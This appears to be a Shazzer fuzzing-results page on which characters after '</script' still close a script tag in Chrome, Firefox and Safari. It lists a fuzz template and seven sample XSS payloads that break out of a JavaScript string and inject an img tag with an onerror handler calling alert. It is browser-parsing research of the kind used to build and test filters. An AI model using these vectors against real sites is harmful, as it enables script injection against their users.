Shazzer logo

Characters Supported in </script> Tags

Chrome logo 7
Firefox logo 7
Safari logo 7

Covers the valid character set and syntax rules for closing script tags in HTML, including case sensitivity, spacing, and common parsing behaviors.

ghannu0x01
Created byghannu0x01
Created Feb 10, 2026
Updated Feb 10, 2026

Tweet
Detecting browser...
CategoryHTML Parsing
VisibilityPublic
TypeXSS
CharsetUTF-8
Template used:
<script>0x0D
a="</script$[chr]><img src=data: onerror=log($[i])>"0x0D
</script>

Sample payloads

<script>0x0D
a="</script/><img src=data: onerror=alert(47)>"0x0D
</script>
<script>0x0D
a="</script ><img src=data: onerror=alert(32)>"0x0D
</script>
<script>0x0D
a="</script>><img src=data: onerror=alert(62)>"0x0D
</script>
<script>0x0D
a="</script0x0D><img src=data: onerror=alert(13)>"0x0D
</script>
<script>0x0D
a="</script0x09><img src=data: onerror=alert(9)>"0x0D
</script>
<script>0x0D
a="</script0x0C><img src=data: onerror=alert(12)>"0x0D
</script>
<script>0x0D
a="</script
><img src=data: onerror=alert(10)>"0x0D
</script>

Fuzz results

Chrome logo
Chrome 144.0.0.0 desktop Windows NT 10.0
Updated10 Feb 2026
Found 7 results
Loading...
Firefox logo
Firefox 147.0 desktop macOS 10.15
Updated10 Feb 2026
Found 7 results
Loading...
Safari logo
Safari 26.2 mobile iOS 18.7
Updated10 Feb 2026
Found 7 results
Loading...